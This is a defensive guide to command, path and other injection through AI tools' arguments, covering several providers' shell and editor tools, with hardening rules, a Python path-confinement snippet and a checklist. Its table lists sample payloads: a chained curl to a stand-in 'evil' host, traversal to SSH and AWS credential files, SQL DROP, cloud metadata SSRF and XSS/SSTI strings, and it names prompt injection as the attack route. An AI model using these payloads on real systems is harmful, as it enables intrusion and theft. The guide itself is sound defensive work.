Command and path injection through tool arguments
Status: DOCUMENTED
Sources: https://platform.claude.com/docs/en/agents-and-tools/tool-use/bash-tool · …/text-editor-tool · OpenAI OpenAPI spec (shell / apply_patch, custom_tool_call) · https://developers.openai.com/api/docs/guides/tools-connectors-mcp#risks-and-safety · xAI: https://docs.x.ai/developers/tools/overview (shell tool, env: "local", shell_call → shell_call_output {stdout, stderr, outcome:{type:"exit", exit_code} | {type:"timeout"}}, max_output_length), https://docs.x.ai/developers/tools/code-execution (hosted alternative) · Gemini: https://ai.google.dev/gemini-api/docs/code-execution (hosted sandbox — no local shell tool), https://ai.google.dev/gemini-api/docs/function-calling (your own functionDeclarations executing commands are entirely your responsibility; mode: VALIDATED) · OWASP Command Injection / Path Traversal
Last verified: 2026-09-19
The problem
Model-generated tool arguments are attacker-influenceable (via prompt injection) and your code executes them. Classic injections apply unchanged:
| Tool argument | Injection | Example payload |
|---|---|---|
command for a shell tool |
command chaining | `ls; curl https://evil/x |
path for an editor/file tool |
traversal, symlinks, special files | ../../.ssh/authorized_keys, /proc/self/environ, ~/.aws/credentials |
query for a DB tool |
SQL injection | '; DROP TABLE… |
url for a fetch tool |
SSRF | http://169.254.169.254/ (see file-uploads-and-ssrf.md) |
args for a CLI wrapper |
option injection | --output=/etc/cron.d/x, -exec |
template/html |
XSS / SSTI when rendered | {{config}}, <img onerror=…> |
Schema strictness (strict: true on both providers) guarantees types, never semantics: {"path": string} is satisfied by ../../etc/shadow.
Provider-specific notes
- Anthropic
bash_20250124: a singlecommandstring; the tool is designed for a sandboxed environment (the docs pair it with the computer-use container). There is no server-side filtering — run it only inside a disposable sandbox (code-execution-and-sandboxing.md). On failure returnis_error: true;restart: trueresets the session. - Anthropic
text_editor_*:patharguments — confine to a workspace root; the tool spec says nothing about path validation, it is yours. - OpenAI
shell/apply_patch(hosted-or-local variants; seedocs/tools/): when you execute locally, the same rules apply;apply_patchwrites files — validate every target path in the patch. - OpenAI
custom_tool_call(free-form text input, optional grammar): treat the text as data, never as a command line. - xAI
shell(tools:[{type:"shell", env:"local"}], Responses API): the model emitsshell_callitems with commands that you execute locally and answer withshell_call_output(stdout,stderr,outcomeexit/timeout,max_output_length). Same posture as Anthropic's bash tool: disposable sandbox only, no secrets, egress-filtered; report timeouts as{type:"timeout"}rather than killing silently. Note xAI'sx_searchresults appear ascustom_tool_callitems too — those are server-executed, don't confuse them with a local shell call (checkname∈x_keyword_search…). - Gemini: no shell/editor tool exists; any command execution is a
functionDeclarationyou wrote —mode: VALIDATEDchecks the schema of the call, nothing about the command. Gemini computer-usetype_text_at/key_combinationactions are keystrokes into a browser you control: the same allowlisting applies to URLs (navigate) and to text typed into forms. - Hosted code execution (all four: Anthropic
code_execution_*, OpenAIcode_interpreter, xAIcode_interpreter, GeminicodeExecution) moves the blast radius to the provider's container — the preferred option for arbitrary code.
Safe executor rules
- Never build shell strings. Use
subprocess.run([...], shell=False)/execve-style APIs with an argument array; pass the model's values as arguments, never as part of the program string. If the tool is literally "run a shell command" (bash tool), the only safe answer is a sandbox where the shell can't hurt. - Allowlist programs and options. A
gittool accepts["git", "status"],["git", "diff", "--", <path>]— not["git", <anything>]. Reject arguments starting with-unless explicitly allowed; put--before positional paths. - Canonicalise paths and confine them:
realpath(join(ROOT, user_path))must start withROOT + sep; reject absolute paths,..segments after normalisation, symlinks escaping ROOT (resolve withO_NOFOLLOW/openat2 RESOLVE_BENEATHwhere available), device/special files, and paths under.git/,.env,.ssh/,id_*. - Deny by default on file types and sizes for create/insert; cap total bytes written per session.
- Parameterised queries for any DB tool; read-only DB roles; row/time limits.
- Escape on output: anything rendered to users or into templates is HTML-escaped/attribute-escaped; markdown rendering with a strict sanitiser and no raw HTML.
- Timeouts and resource limits per invocation; kill the process group.
- Return sanitised errors (
is_error: true/ explicit status) without absolute paths, hostnames, or environment values (untrusted-tool-outputs.md). - Audit log every tool invocation with its arguments and request id — this is your forensic record when an injection succeeds.
- Idempotency & confirmation: destructive operations (
rm,git push --force,DROP) require a second explicit confirmation step or are simply not exposed.
Reference snippet (Python)
ROOT = Path("/workspace").resolve()
def safe_path(user_path: str) -> Path:
if user_path.startswith(("/", "~")) or "\x00" in user_path:
raise ValueError("absolute/home paths not allowed")
p = (ROOT / user_path).resolve(strict=False)
if p != ROOT and ROOT not in p.parents:
raise ValueError("path escapes workspace")
if any(part in {".git", ".env", ".ssh"} for part in p.relative_to(ROOT).parts):
raise ValueError("protected path")
return p
def run_git(args: list[str]) -> str:
allowed = {"status": [], "diff": ["--stat"], "log": ["--oneline", "-n"]}
if not args or args[0] not in allowed or any(a.startswith("-") and a not in allowed[args[0]] for a in args[1:]):
raise ValueError("git subcommand/option not allowed")
return subprocess.run(["git", *args], cwd=ROOT, capture_output=True, text=True, timeout=10, check=False).stdout[:20_000]Checklist
- No
shell=True/ string concatenation with model values; argument arrays only. - Program + option allowlists;
--before paths. - Paths canonicalised and confined; protected files denied; symlinks resolved.
- Shell-type tools (Anthropic bash, OpenAI shell, xAI shell) only inside disposable sandboxes; outcomes/timeouts reported honestly.
- DB tools parameterised and read-only where possible.
- Outputs escaped before rendering; errors sanitised; invocations audit-logged.
- Destructive actions gated by confirmation or not exposed at all.